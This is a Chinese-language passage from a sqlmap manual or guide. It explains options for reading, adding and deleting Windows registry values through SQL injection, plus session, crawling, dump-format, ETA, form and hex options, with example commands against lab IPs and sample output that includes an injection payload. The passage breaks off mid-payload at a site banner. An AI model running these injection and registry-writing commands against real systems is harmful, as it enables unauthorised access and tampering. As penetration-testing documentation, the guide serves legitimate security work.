ps:其实看到zone里很多问sqlmap的问题在通读看完那篇文章后都能解决。可惜啊,现在的人通读看文章的耐心都没有了,遇到了哪个问题就想起针对这个问题求助,却不知道仔细看完之后,以后可以省多少时间来求助,吐槽完毕,正文开始:
对Windows注册表操作
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前web应用支持堆查询。 当然,当前连接数据库的用户也需要有权限操作注册表。
读取注册表值
参数:-reg-read
写入注册表值
参数:-reg-add
删除注册表值
参数:-reg-del
注册表辅助选项
参数:-reg-key,-reg-value,-reg-data,-reg-type
需要配合之前三个参数使用,例子:
$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add --reg-key="HKEY_LOCAL_MACHINESOFTWAREsqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1
常规参数
从sqlite中读取session
参数:-s
sqlmap对每一个目标都会在output路径下自动生成一个SQLite文件,如果用户想指定读取的文件路径,就可以用这个参数。
保存HTTP(S)日志
参数:-t
这个参数需要跟一个文本文件,sqlmap会把HTTP(S)请求与响应的日志保存到那里。
非交互模式
参数:-batch
用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。
强制使用字符编码
参数:-charset
不使用sqlmap自动识别的(如HTTP头中的Content-Type)字符编码,强制指定字符编码如:
--charset=GBK
爬行网站URL
参数:-crawl
sqlmap可以收集潜在的可能存在漏洞的连接,后面跟的参数是爬行的深度。
例子:
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3
[...]
[xx:xx:53] [INFO] starting crawler
[xx:xx:53] [INFO] searching for links with depth 1
[xx:xx:53] [WARNING] running in a single-thread mode. This could take a while
[xx:xx:53] [INFO] searching for links with depth 2
[xx:xx:54] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:00] [INFO] 42/56 links visited (75%)
[...]
规定输出到CSV中的分隔符
参数:-csv-del
当dump保存为CSV格式时(-dump-format=CSV),需要一个分隔符默认是逗号,用户也可以改为别的 如:
--csv-del=";"
DBMS身份验证
参数:-dbms-cred
某些时候当前用户的权限不够,做某些操作会失败,如果知道高权限用户的密码,可以使用此参数,有的数据库有专门的运行机制,可以切换用户如Microsoft SQL Server的OPENROWSET函数
定义dump数据的格式
参数:-dump-format
输出的格式可定义为:CSV,HTML,SQLITE
预估完成时间
参数:-eta
可以计算注入数据的剩余时间。
例如Oracle的布尔型盲注:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b --eta
[...]
[hh:mm:01] [INFO] the back-end DBMS is Oracle
[hh:mm:01] [INFO] fetching banner
[hh:mm:01] [INFO] retrieving the length of query output
[hh:mm:01] [INFO] retrieved: 64
17% [========> ] 11/64 ETA 00:19
然后:
100% [===================================================] 64/64
[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner: 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
sqlmap先输出长度,预计完成时间,显示百分比,输出字符
刷新session文件
参数:-flush-session
如果不想用之前缓存这个目标的session文件,可以使用这个参数。 会清空之前的session,重新测试该目标。
自动获取form表单测试
参数:-forms
如果你想对一个页面的form表单中的参数测试,可以使用-r参数读取请求文件,或者通过-data参数测试。 但是当使用-forms参数时,sqlmap会自动从-u中的url获取页面中的表单进行测试。
忽略在会话文件中存储的查询结果
参数:-fresh-queries
忽略session文件保存的查询,重新查询。
使用DBMS的hex函数
参数:-hex
有时候字符编码的问题,可能导致数据丢失,可以使用hex函数来避免:
针对PostgreSQL例子:
$ python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors
[...]
[xx:xx:14] [INFO] fetching banner
[xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)(北联网教程,专业提供视频软件下载)
……